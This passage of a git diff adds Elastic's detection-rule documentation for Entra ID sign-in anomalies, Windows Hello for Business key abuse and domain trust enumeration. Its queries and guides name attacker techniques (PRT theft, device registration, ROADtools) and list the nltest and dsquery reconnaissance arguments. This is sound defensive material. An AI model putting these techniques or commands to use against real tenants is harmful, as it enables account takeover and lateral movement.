"c98e5057-edde-4666-b301-186a01b4dc58" or + "0a31c71e-0abf-4238-add7-b1a24c165dc1" or + "a8759234-4b8b-4d94-8c0a-ee1ab73af270" or + "dae89220-69ba-4957-a77a-47b78695e883" or + "fd5f78f6-a28f-450b-abc7-777f3dbbfcba" or + "821caec6-bec3-4542-bead-d3c5fb6b4ef0" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "bed12bc0-3a62-470d-998c-e47546e7b039" or + "f4060917-6abe-40d7-baa6-f634c0eda4ac" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "1f7f6f43-2f81-429c-8499-293566d0ab0c" or + "75f31797-37c9-498e-8dc9-53c16a36afca" or + "3e050dd7-7815-46a0-8263-b73168a42c10" or + "243c63a3-247d-41c5-9d83-7788c43f1c43" or + "75efb5bc-18a1-4e7b-8a66-2ad2503d79c6" or + "d32f3b53-b7d7-48df-8d0f-f8bf233b3f1f" or + "95de633a-083e-42f5-b444-a4295d8e9314" or + "3ff8e6ba-7dc3-4e9e-ba40-ee12b60d6d48" or + "871c010f-5e61-4fb1-83ac-98610a7e9110" or + "3e62f81e-590b-425b-9531-cad6683656cf" or + "8ec6bc83-69c8-4392-8f08-b3c986009232" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "dd762716-544d-4aeb-a526-687b73838a22" or + "7f8f922d-7ee4-40a6-b435-aad8b84ebde0" or + "f8d98a96-0999-43f5-8af3-69971c7bb423" or + "aa580612-c342-4ace-9055-8edee43ccb89" or + "7f67af8a-fedc-4b08-8b4e-37c4d127b6cf" or + "00bf137d-f689-4c5d-83d9-7fc31904a7ea" or + "ceb96695-e468-48ba-ba21-35e2a242d396" or + "7fba38f4-ec1f-458d-906c-f4e3c4f41335" or + "a2a1fecc-b06e-4a1e-95c1-2afd94bcadff" or + "15ddab63-ba81-45db-9bb6-6f8bc445c459" or + "bc59ab01-8403-45c6-8796-ac3ef710b3e3" or + "00000003-0000-0ff1-ce00-000000000000" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "4fb5cc57-dbbc-4cdc-9595-748adff5f414" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "ebde7daf-df42-4ade-81a4-d67b339b49e9" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "a672d62c-fc7b-4e81-a576-e60dc46e951d" or + "0b1df6d3-2deb-44d4-b44b-7101937e0726" or + "04f0c124-f2bc-4f59-8241-bf6df9866bbd" or + "86f4c005-6582-4559-b6cf-8b3111236736" or + "a0a3c1d3-7b82-4010-bdb0-e7048fb8f1fe" or + "a187e399-0c36-4b98-8f04-1edc167a0996" or + "2d4d3d8e-2be3-4bef-9f87-7875a61c29de" or + "c475db56-f463-48d8-931a-cfa7cd642289" or + "71a7c376-13e6-4100-968e-92ce98c5d3d2" + ) + and not ( + azure.signinlogs.properties.app_id: "1fec8e78-bce4-4aaf-ab1b-5451cc387264" and + azure.signinlogs.properties.resource_id: ( + "cc15fd57-2c6c-4117-a88c-83b1d56b4bbe" or + "39aaf054-81a5-48c7-a4f8-0293012095b9" or + "b1379a75-ce5e-4fa3-80c6-89bb39bf646c" or + "6bc3b958-689b-49f5-9006-36d165f30e00" + ) + ) + and not ( + azure.signinlogs.properties.app_id: "4765445b-32c6-49b0-83e6-1d93765276ca" and + azure.signinlogs.properties.resource_id: "4765445b-32c6-49b0-83e6-1d93765276ca" and + azure.signinlogs.properties.authentication_processing_details: *M365Copilot.Read.All* and + azure.signinlogs.properties.incoming_token_type: "primaryRefreshToken" and + azure.signinlogs.properties.client_app_used: "Mobile Apps and Desktop clients" and + azure.signinlogs.properties.device_detail.is_managed: true and + azure.signinlogs.properties.device_detail.operating_system: "Windows10" and + user_agent.original: Mozilla*Edge/18.* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-non-managed-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-non-managed-device.asciidoc new file mode 100644 index 0000000000..8d785e5fea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-non-managed-device.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-non-managed-device]] +=== Entra ID User Sign-in with Unusual Non-Managed Device + +Identifies when a Microsoft Entra ID user signs in from a device that is not typically used by the user and is not managed, which may indicate potential compromise or unauthorized access attempts. This rule detects unusual sign-in activity by comparing the device used for the sign-in against the user's typical device usage patterns. Adversaries may create and register a new device to obtain a Primary Refresh Token (PRT) and maintain persistent access. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pushsecurity.com/blog/consentfix +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Platform: Entra ID +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in with Unusual Non-Managed Device* + + +This rule detects when a Microsoft Entra ID user signs in from a device that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. This rule detects unusual sign-in activity by comparing the device used for the sign-in against the user's typical device usage patterns. Adversaries may create and register a new device to obtain a Primary Refresh Token (PRT) and maintain persistent access. + + +*Possible investigation steps* + +- Review the `azure.signinlogs.properties.user_principal_name` field to identify the user associated with the sign-in. +- Check the `azure.signinlogs.properties.device_detail.device_id` field to identify the device used for the sign-in. +- Review `azure.signinlogs.properties.incoming_token_type` to determine what tpe of security token was used for the sign-in, such as a Primary Refresh Token (PRT). +- Examine `azure.signinlogs.category` to determine if these were non-interactive or interactive sign-ins. +- Check the geolocation of the sign-in by reviewing `source.geo.country_name` and `source.geo.city_name` to identify the location of the device used for the sign-in. If these are unusual for the user, it may indicate a potential compromise. +- Review `azure.signinlogs.properties.app_id` to determine which client application was used for the sign-in. If the application is not recognized or expected, it may indicate unauthorized access. Adversaries use first-party client IDs to blend in with legitimate traffic. +- Examine `azure.signinlogs.properties.resource_id` to determine what resource the security token has in scope and/or is requesting access to. If the resource is not recognized or expected, it may indicate unauthorized access. Excessive access to Graph API is common post-compromise behavior. +- Review the identity protection risk status by checking `azure.signinlogs.properties.risk_level` and `azure.signinlogs.properties.risk_detail` to determine if the sign-in was flagged as risky by Entra ID Protection. + + +*False positive analysis* + +- Legitimate users may sign in from new devices, such as when using a new laptop or mobile device. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or device IDs. +- Environments where users frequently change devices, such as in a corporate setting with rotating hardware, may generate false positives. +- Users may use both an endpoint and mobile device for sign-ins, which could trigger this rule. +- Hybrid Azure AD joined devices often report `is_managed: false` when Intune MDM is not enrolled; that corporate hybrid-join state is excluded. Azure AD joined devices are kept in scope because OAuth phishing / ROADtx device registration commonly creates cloud-joined (not hybrid) unmanaged devices. +- Non-interactive sign-ins with `azure.signinlogs.properties.incoming_token_type` of `"none"` (common Microsoft first-party background token acquisition on registered devices) are excluded; `"primaryRefreshToken"` (PRT) and `"refreshToken"` activity remain in scope. + + +*Response and remediation* + +- If the sign-in is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Review the user's recent sign-in activity and access patterns to identify any potential compromise or unauthorized access. +- If the user account is compromised, initiate a password reset and enforce multi-factor authentication (MFA) for the user. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. +- Identify the registered Entra ID device by reviewing `azure.signinlogs.properties.device_detail.display_name` and confirm it is expected for the user or organization. If it is not expected, consider removing the device registration. +- Consider adding exceptions for verified devices that are known to be used by the user to reduce false-positives. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Azure integration with Microsoft Entra ID Sign-In logs to be enabled and configured to collect audit and activity logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + event.category: "authentication" and + azure.signinlogs.properties.user_type: "Member" and + azure.signinlogs.properties.token_protection_status_details.sign_in_session_status: "unbound" and + not azure.signinlogs.properties.device_detail.is_managed: true and + not azure.signinlogs.properties.device_detail.device_id: "" and + not azure.signinlogs.properties.device_detail.trust_type: "Hybrid Azure AD joined" and + not (azure.signinlogs.category: "NonInteractiveUserSignInLogs" and azure.signinlogs.properties.incoming_token_type: "none") and + azure.signinlogs.properties.user_principal_name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-windows-hello-for-business-credential-registered.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-windows-hello-for-business-credential-registered.asciidoc new file mode 100644 index 0000000000..c357fefef0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-windows-hello-for-business-credential-registered.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-34-entra-id-windows-hello-for-business-credential-registered]] +=== Entra ID Windows Hello for Business Credential Registered + +Identifies the first-seen registration of a Windows Hello for Business (WHfB) credential for a Microsoft Entra ID user from a given source ASN in a tenant, based on a prefixed historic window. Enrollment is commonly part of legitimate onboarding or passwordless rollout and is not inherently malicious. Adversaries who have obtained a token that satisfies fresh (NGC) multi-factor authentication, for example by borrowing an existing WHfB key or passkey, can also enroll their own WHfB credential to establish durable, phishing-resistant persistence that survives password resets and standard session revocation. Correlate first-seen enrollments with the sign-in and device state that preceded them. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/borrowing-windows-hello-keys/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Platform: Entra ID +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Persistence +* Rule Type: New Terms +* Data Source: Azure +* Data Source: Entra ID Audit Logs +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Windows Hello for Business Credential Registered* + + +This is a first-seen (new_terms) signal: a WHfB credential was registered for a tenant/user/source-ASN combination not observed in the prior 14 days. Enrollment is often legitimate onboarding, but adversaries abuse the same action as persistence - after borrowing an existing WHfB key or passkey to satisfy fresh MFA, they enroll their own credential, which survives password resets and ordinary session revocation. + + +*Possible investigation steps* + +- Identify the target (`target_resources.0.user_principal_name`) and initiator (`initiated_by.user.userPrincipalName`), confirm whether WHfB enrollment was expected, and check whether the source ASN is new for that user. +- Correlate with `azure.signinlogs` shortly before for a deviceless WHfB/passkey sign-in, device-code flow, or attacker device registration/PRT issuance; an additional credential from a new ASN on an established account is more suspicious. Examine the preceding sign-in's source IP/geo and user agent for automation or hosting/VPS origins. + + +*False positive analysis* + +- First-time WHfB enrollment during onboarding/passwordless rollout is expected; repeat enrollments from the same tenant/user/ASN within 14 days don't fire. +- Users traveling or switching ISP/VPN may appear as a new ASN - validate against known networks before treating as suspicious. + + +*Response and remediation* + +- If unauthorized, delete the WHfB credential and any attacker-registered device via Graph or the Entra portal, revoke sessions and refresh tokens (delete devices first, to break device-bound PRT persistence), reset credentials, and re-enroll from a trusted device. +- Review the sign-in that authorized the enrollment to determine the initial access vector. + + +==== Setup + + + +*Required Microsoft Entra ID Audit Logs* + +This rule requires the Azure integration with Microsoft Entra ID Audit logs enabled and collected via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" and + azure.auditlogs.operation_name: "Add Windows Hello for Business credential" and + event.outcome: ("Success" or "success") and + azure.tenant_id: * and + azure.auditlogs.properties.initiated_by.user.userPrincipalName: * and + source.as.number: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-windows-hello-or-passkey-sign-in-from-unregistered-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-windows-hello-or-passkey-sign-in-from-unregistered-device.asciidoc new file mode 100644 index 0000000000..9d459de096 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-windows-hello-or-passkey-sign-in-from-unregistered-device.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-entra-id-windows-hello-or-passkey-sign-in-from-unregistered-device]] +=== Entra ID Windows Hello or Passkey Sign-in from Unregistered Device + +Identifies a Microsoft Entra ID sign-in that is satisfied by a phishing-resistant, device-bound credential (Windows Hello for Business, FIDO2 security key, or passkey) while carrying no device identifier. Windows Hello for Business (WHfB) and passkey credentials are bound to a device's TPM, so a genuine sign-in with one of these methods is normally accompanied by the registered device it lives on. A WHfB or passkey assertion that authenticates with an empty `device_detail.device_id` indicates the underlying key material is being used away from its bound device, for example by an adversary who extracted the key (or signed an assertion with it) and replayed it from attacker infrastructure to mint device-agnostic tokens. This is the core primitive of the "borrowing Windows Hello keys" technique and is a strong precursor to attacker device registration and Primary Refresh Token (PRT) issuance. Cross-tenant (B2B) sign-ins are excluded because they are a common benign source of empty device identifiers. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/borrowing-windows-hello-keys/ +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Platform: Entra ID +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Initial Access +* Rule Type: New Terms +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Windows Hello or Passkey Sign-in from Unregistered Device* + + +WHfB and passkey credentials are bound to a device's TPM, so a legitimate sign-in with one of these methods is normally accompanied by its registered device. A same-tenant sign-in with an empty `device_detail.device_id` means the key material is being used away from its bound device - the core signal of the "borrowing Windows Hello keys" technique, where an adversary replays a WHfB/NGC key or passkey to mint device-agnostic tokens from their own infrastructure. + + +*Possible investigation steps* + +- Identify the user via `user_principal_name` and confirm `authentication_details.authentication_method` is WHfB, FIDO2, or a passkey with `device_detail.device_id` empty (a `device_id` present on an unmanaged device is a different, noisier condition, not this rule). +- Review `app_id`/`resource_display_name` for Graph or Device Registration Service access right after, check `source.ip`, `source.geo.*`, and `user_agent.original` for automation (python-requests) or hosting/VPS ASNs (ROADtools/roadtx), and pivot on `user_id` in `azure.auditlogs` for a subsequent "Register device" or "Add Windows Hello for Business credential" event; if the user didn't enroll a new key/passkey, treat it as compromised. + + +*False positive analysis* + +- Initial passwordless onboarding can briefly produce this sign-in before device registration completes; correlate with the registration timeline. + + +*Response and remediation* + +- Treat the key/passkey as compromised: delete the credential and any attacker-registered device via Graph/the Entra portal, revoke sessions/refresh tokens (delete devices first, since that breaks device-bound PRT persistence), and re-enroll from a trusted device. +- Hunt for device registrations and PRT issuance after the sign-in, and consider Conditional Access requiring device compliance for sensitive resources. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Azure integration with Microsoft Entra ID Sign-In logs to be enabled and configured to collect sign-in logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + event.category: "authentication" and + azure.signinlogs.result_signature: "SUCCESS" and + azure.signinlogs.properties.user_type: "Member" and + azure.signinlogs.properties.authentication_details.authentication_method: ( + "Windows Hello for Business" or *passkey* or FIDO2* or *Passkey* + ) and + azure.signinlogs.properties.device_detail.device_id: ("" or not *) and + azure.signinlogs.properties.cross_tenant_access_type: "none" and + azure.signinlogs.properties.user_principal_name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumerating-domain-trusts-via-dsquery-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumerating-domain-trusts-via-dsquery-exe.asciidoc new file mode 100644 index 0000000000..2b84345bd8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumerating-domain-trusts-via-dsquery-exe.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-enumerating-domain-trusts-via-dsquery-exe]] +=== Enumerating Domain Trusts via DSQUERY.EXE + +Identifies the use of dsquery.exe for domain trust discovery purposes. Adversaries may use this command-line utility to enumerate trust relationships that may be used for Lateral Movement opportunities in Windows multi-domain forest environments. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11) +* https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enumerating Domain Trusts via DSQUERY.EXE* + + +Active Directory (AD) domain trusts define relationships between domains within a Windows AD environment. In this setup, a "trusting" domain permits users from a "trusted" domain to access resources. These trust relationships can be configurable as one-way, two-way, transitive, or non-transitive, enabling controlled access and resource sharing across domains. + +This rule identifies the usage of the `dsquery.exe` utility to enumerate domain trusts. Attackers can use this information to enable the next actions in a target environment, such as lateral movement. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation and are done within the user business context (e.g., an administrator in this context). As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- Enumerating Domain Trusts via NLTEST.EXE - 84da2554-e12a-11ec-b896-f661ea17fbcd + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "dsquery.exe" or ?process.pe.original_file_name: "dsquery.exe") and + process.args : "*objectClass=trustedDomain*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumerating-domain-trusts-via-nltest-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumerating-domain-trusts-via-nltest-exe.asciidoc new file mode 100644 index 0000000000..47faf2dba3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumerating-domain-trusts-via-nltest-exe.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-enumerating-domain-trusts-via-nltest-exe]] +=== Enumerating Domain Trusts via NLTEST.EXE + +Identifies the use of nltest.exe for domain trust discovery purposes. Adversaries may use this command-line utility to enumerate domain trusts and gain insight into trust relationships, as well as the state of Domain Controller (DC) replication in a Microsoft Windows NT Domain. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11) +* https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enumerating Domain Trusts via NLTEST.EXE* + + +Active Directory (AD) domain trusts define relationships between domains within a Windows AD environment. In this setup, a "trusting" domain permits users from a "trusted" domain to access resources. These trust relationships can be configurable as one-way, two-way, transitive, or non-transitive, enabling controlled access and resource sharing across domains. + +This rule identifies the usage of the `nltest.exe` utility to enumerate domain trusts. Attackers can use this information to enable the next actions in a target environment, such as lateral movement. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation and are done within the user business context (e.g., an administrator in this context). As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- Enumerating Domain Trusts via DSQUERY.EXE - 06a7a03c-c735-47a6-a313-51c354aef6c3 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "nltest.exe" and process.args : ( + "/DCLIST:*", "/DCNAME:*", "/DSGET*", + "/LSAQUERYFTI:*", "/PARENTDOMAIN", + "/DOMAIN_TRUSTS", "/BDC_QUERY:*" + ) and +not process.parent.name : "PDQInventoryScanner.exe" and +not ( + user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git 